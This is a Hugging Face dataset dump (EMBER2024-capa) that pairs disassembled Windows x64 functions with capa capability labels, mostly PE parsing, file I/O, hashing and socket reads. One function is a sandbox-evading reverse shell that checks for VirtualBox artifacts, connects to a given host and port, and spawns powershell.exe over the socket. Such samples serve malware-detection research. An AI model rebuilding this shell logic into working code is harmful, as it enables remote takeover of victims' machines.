joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002370
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400044e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000238f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002398
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400044e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023d0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400023d0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002424
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002430
add rdx, 0x28
cmp r9, rdx
jne 0x140002410
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002440
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400044e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002462
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002470
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002462
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002462
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002462
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400024c5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400024d8
add rdx, 0x28
cmp r10, rdx
jne 0x1400024b0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400024e7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400024f7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400024ce
test ecx, ecx
jg 0x1400024e0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x140002550
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov ecx, 2
mov r8d, 0x2c
lea rdx, [0x140004420]
call sym.write
mov ecx, 0x17
call sym.IsProcessorFeaturePresent
test eax, eax
je 0x140002580
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140002600
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, rcx
lea rcx, str.msvcrt.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.rand_s
mov rcx, rax
call rsi
test rax, rax
je 0x140002648
mov rcx, rbx
mov qword [dbg.init_rand_s], rax
add rsp, 0x28
pop rbx
pop rsi
jmp rax
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SystemFunction036
mov rcx, rax
call rsi
mov qword [0x1400076c0], rax
lea rax, [dbg.mingw_rand_s]
jmp 0x14000262e
Function at 0x140002840
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create process on windows
Create tcp socket
Get memory capacity
Get system information on windows
Initialize winsock library

Disassembly:
endbr64
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x70
mov ebx, ecx
mov rsi, rdx
call dbg.__main
mov rdi, qword [0x1400045c0]
mov rax, qword [rdi]
mov qword [rsp + 0x68], rax
xor eax, eax
cmp ebx, 3
je 0x140002895
lea rcx, str.Usage:_._program_HOST_PORT
call sym.puts
mov rax, qword [rsp + 0x68]
sub rax, qword [rdi]
jne 0x140002abd
xor eax, eax
add rsp, 0x70
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rbx, qword [rsi + 8]
lea rbp, [0x140007560]
mov rcx, rbx
call sym.strlen
mov rdx, rbx
mov rcx, rbp
movsxd r8, eax
mov dword [0x140007554], eax
call sym.memcpy
mov rcx, qword [rsi + 0x10]
call sym.atoi
lea rdx, [0x140007040]
mov dword [0x1400074e0], 0x40
lea rcx, str.C:WindowsSystem32VBox.dll
mov dword [0x140007550], eax
movabs rax, 0x6568737265776f70
mov qword [rsp + 0x59], rax
movabs rax, 0x6578652e6c6c65
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
add rax, 1
jne 0x14000287a
lea rax, [0x140007290]
xor r8d, r8d
mov r9d, 1
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001ServicesVBoxSF
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000287a
lea rcx, [0x1400074e0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp qword [0x1400074e8], 0x7fffffff
jbe 0x14000287a
lea rcx, [0x140007520]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [0x140007540], 1
jbe 0x14000287a
lea rdx, [0x140007340]
mov ecx, 0x202
lea rdi, [0x140007570]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor ecx, ecx
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov dword [rsp + 0x28], ecx
lea r12, str.____Couldnt_connect__retrying...
mov dword [rsp + 0x20], ecx
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov rcx, rbp
mov qword [0x140007298], rax
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, word [0x140007550]
mov dword [0x140007574], eax
call qword [sym.imp.WS2_32.dll_htons]
mov rsi, qword [sym.imp.WS2_32.dll_connect]
mov word [0x140007570], 2
mov word [0x140007572], ax
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002a0f
mov rcx, r12
call sym.puts
mov ecx, 0x7d0
call rbp
mov rcx, qword [0x140007298]
mov r8d, 0x10
mov rdx, rdi
call rsi
mov ebx, eax
test eax, eax
jne 0x140002a00
lea rcx, str.___Connected
lea rsi, [0x1400072a0]
call sym.puts
mov eax, ebx
mov ecx, 0x14
xor r9d, r9d
lea rdx, [0x1400072c0]
xor r8d, r8d
movq xmm0, qword [0x140007298]
mov rdi, rdx
rep stosd dword [rdi], eax
mov qword [rsp + 0x40], rdx
xor edx, edx
lea rax, [rsp + 0x59]
movq qword [0x140007320], xmm0
punpcklqdq xmm0, xmm0
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], rdx
mov rdx, rax
mov dword [0x1400072c0], 0x68
mov dword [0x1400072fc], 0x100
mov qword [rsp + 0x48], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
movups xmmword [0x140007310], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor ecx, ecx
call sym.exit
call dbg.__stack_chk_fail
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x14007aa3c
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x140098220], 0
mov r14, rdx
mov r15, rcx
lea rbx, [0x140098230]
jne 0x14007aa89
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x140098258], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x140098220], 1
mov ecx, dword [0x140098258]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x14007ab5e
mov rcx, qword [0x140096d1c]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14007ab89
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x140098228]
test rax, rax
je 0x14007aad9
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x140098228], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
lea r9, [rbp + 0x20]
mov r8, rdi
mov rcx, rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x100000
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
lea r8, [0x14007aba4]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x140098258]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x140096d1c]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14007ab89
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret

Function at 0x140001998
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019e2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019e2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019e2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019e2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019e2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019e4
xor al, al
add rsp, 0x28
ret
Function at 0x14000d910
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140016c60], rbx
je 0x14000d977
cmp rax, rbx
jne 0x14000d96a
mov ebx, 1
mov esi, ebx
jmp 0x14000d97c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14000d94f
mov ebx, 1
mov eax, dword [0x140016c68]
cmp eax, ebx
jne 0x14000d994
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14000da00
mov eax, dword [0x140016c68]
test eax, eax
jne 0x14000d9f5
mov dword [0x140016c68], ebx
lea r15, [0x140010bb8]
lea rdi, [0x140010ba0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14000d9e7
test eax, eax
jne 0x14000d9eb
cmp qword [rdi], r14
je 0x14000d9dc
mov rax, qword [rdi]
mov rcx, qword [0x140010b58]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000d9be
test eax, eax
je 0x14000d9fb
mov eax, 0xff
jmp 0x14000db56
mov dword [0x1400163e4], ebx
mov edi, 0x1f
mov eax, dword [0x140016c68]
cmp eax, ebx
jne 0x14000da27
lea rdx, [0x140010b98]
lea rcx, [0x140010b60]
call sub.msvcrt.dll__initterm
mov dword [0x140016c68], 2
test esi, esi
jne 0x14000da35
mov rax, r14
xchg qword [0x140016c60], rax
cmp qword [0x140016c80], r14
je 0x14000da68
lea rcx, [0x140016c80]
call fcn.14000dfd0
test eax, eax
je 0x14000da68
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140016c80]
mov r9, qword [0x140010b58]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14000da81
mov eax, 0xff
jmp 0x14000db56
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14000db07
test ax, ax
je 0x14000da9c
test edx, edx
jne 0x14000db07
sub ax, bx
cmp ax, di
ja 0x14000dab2
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14000da9c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400019fc
mov dword [0x1400163e0], eax
cmp dword [0x140016400], r14d
jne 0x14000daf0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400163e4], r14d
jne 0x14000db05
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400163e0]
jmp 0x14000db56
cmp ax, 0x22
jne 0x14000db1b
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000da8a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call fcn.140195000
add rsp, 0x28
jmp 0x14000d910
Function at 0x1800015f0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp qword [rax + 0x10], 0
jge 0x180001637
lea rdx, [rsp + 0x20]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x18000162c
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x20]
mov qword [rax + 0x10], rcx
jmp 0x180001637
mov rcx, qword [rsp + 0x40]
call fcn.180001560
nop
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x10]
add rsp, 0x38
ret

Function at 0x1800016e0
Capabilities:
Read file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rcx, qword [rsp + 0x50]
call fcn.180001510
movzx eax, al
test eax, eax
jne 0x18000170b
xor eax, eax
jmp 0x180001792
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x38], rax
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp eax, 0xffffffff
jne 0x180001743
xor eax, eax
jmp 0x180001792
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180001774
cmp dword [rsp + 0x30], 0
jne 0x180001778
xor eax, eax
jmp 0x180001792
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
add rax, qword [rcx + 0x18]
mov rcx, qword [rsp + 0x50]
mov qword [rcx + 0x18], rax
mov eax, dword [rsp + 0x30]
add rsp, 0x48
ret

Function at 0x180001b90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
je 0x180001bc4
mov eax, dword [rsp + 0x20]
and eax, 0x10
test eax, eax
je 0x180001bc4
mov dword [rsp + 0x24], 1
jmp 0x180001bcc
mov dword [rsp + 0x24], 0
movzx eax, byte [rsp + 0x24]
add rsp, 0x38
ret

Function at 0x180001c30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
je 0x180001c64
mov eax, dword [rsp + 0x20]
and eax, 0x10
test eax, eax
jne 0x180001c64
mov dword [rsp + 0x24], 1
jmp 0x180001c6c
mov dword [rsp + 0x24], 0
movzx eax, byte [rsp + 0x24]
add rsp, 0x38
ret
Function at 0x180001ce0
Capabilities:
Read file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.180001c30
movzx eax, al
test eax, eax
jne 0x180001d0b
xor eax, eax
jmp 0x180001da3
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x180001d4b
xor eax, eax
jmp 0x180001da3
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.1800017f0
nop
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x180001d95
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.180001900
jmp 0x180001da3
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.180001900
add rsp, 0x68
ret

Function at 0x180001db0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x180001e03
xor eax, eax
jmp 0x180001e59
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.1800017f0
nop
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, dword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x180001e4b
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.180001900
jmp 0x180001e59
mov edx, dword [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.180001900
add rsp, 0x68
ret
Function at 0x180003630
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1800035a0
nop
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 1
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x180003692
xor al, al
jmp 0x18000373c
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8004
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1800036c4
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.1800035d0
jmp 0x18000373c
xor r9d, r9d
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x1800036ee
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.1800035d0
jmp 0x18000373c
mov dword [rsp + 0x30], shutdown
mov rax, qword [rsp + 0x80]
mov dword [rsp + 0x20], 0
lea r9, [rsp + 0x30]
mov r8, rax
mov edx, 2
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jne 0x180003730
xor edx, edx
lea rcx, [rsp + 0x48]
call fcn.1800035d0
jmp 0x18000373c
mov dl, 1
lea rcx, [rsp + 0x48]
call fcn.1800035d0
add rsp, 0x68
ret

Function at 0x1800047f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov edx, 1
mov rcx, qword [rsp + 0x48]
call sub.WS2_32.dll_shutdown
nop
mov rax, qword [rsp + 0x40]
add rax, 8
mov rcx, rax
call fcn.180001330
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
add rax, 8
mov rcx, rax
call fcn.180001b80
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov r8d, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x48]
call sub.WS2_32.dll_recv
test eax, eax
jle 0x180004856
jmp 0x18000480e
mov rcx, qword [rsp + 0x48]
call sub.WS2_32.dll_closesocket
nop
add rsp, 0x38
ret
Function at 0x180005320
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [rsp + 0x90]
add rax, 8
mov rcx, rax
call fcn.180001330
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x90]
add rax, 8
mov rcx, rax
call fcn.180001b80
mov qword [rsp + 0x60], rax
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x28]
call fcn.180001140
mov rcx, qword [rsp + 0xa0]
call fcn.1800041d0
nop
lea rcx, [rsp + 0x28]
call fcn.1800012f0
test eax, eax
jle 0x18000543c
lea rcx, [rsp + 0x28]
call fcn.1800012f0
mov dword [rsp + 0x44], eax
lea rcx, [rsp + 0x28]
call fcn.1800017a0
mov qword [rsp + 0x68], rax
xor r9d, r9d
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x98]
call sub.WS2_32.dll_recv
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0xffffffff
je 0x1800053e4
cmp dword [rsp + 0x20], 0
jne 0x1800053ed
mov eax, dword [rsp + 0x20]
jmp 0x180005552
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.180001220
nop
lea rcx, [rsp + 0x28]
call fcn.1800012e0
mov dword [rsp + 0x48], eax
lea rcx, [rsp + 0x28]
call fcn.180001b80
mov qword [rsp + 0x70], rax
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xa0]
call fcn.1800039c0
cmp eax, 2
je 0x180005437
jmp 0x18000543c
jmp 0x180005389
mov rax, qword [rsp + 0xa0]
cmp dword [rax + 0x28], 1
jne 0x180005548
mov rax, qword [rsp + 0xa0]
cmp dword [rax + 0x20], 0
jle 0x180005548
mov rcx, qword [rsp + 0xa0]
call fcn.1800041a0
mov dword [rsp + 0x38], eax
lea rcx, [rsp + 0x28]
call fcn.1800012e0
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
lea rcx, [rsp + 0x28]
call fcn.1800012f0
mov dword [rsp + 0x50], eax
mov edx, dword [rsp + 0x4c]
mov ecx, dword [rsp + 0x50]
call fcn.1800021c0
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0
jle 0x180005548
lea rcx, [rsp + 0x28]
call fcn.1800012f0
mov dword [rsp + 0x54], eax
lea rcx, [rsp + 0x28]
call fcn.1800017a0
mov qword [rsp + 0x78], rax
xor r9d, r9d
mov r8d, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x98]
call sub.WS2_32.dll_recv
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0xffffffff
je 0x1800054fa
cmp dword [rsp + 0x24], 0
jne 0x180005500
mov eax, dword [rsp + 0x24]
jmp 0x180005552
mov edx, dword [rsp + 0x24]
lea rcx, [rsp + 0x28]
call fcn.180001220
lea rcx, [rsp + 0x28]
call fcn.1800012e0
mov ecx, dword [rsp + 0x38]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
lea rcx, [rsp + 0x28]
call fcn.1800012f0
mov dword [rsp + 0x5c], eax
mov edx, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x5c]
call fcn.1800021c0
mov dword [rsp + 0x3c], eax
jmp 0x1800054a6
lea rcx, [rsp + 0x28]
call fcn.1800012e0
add rsp, 0x88
ret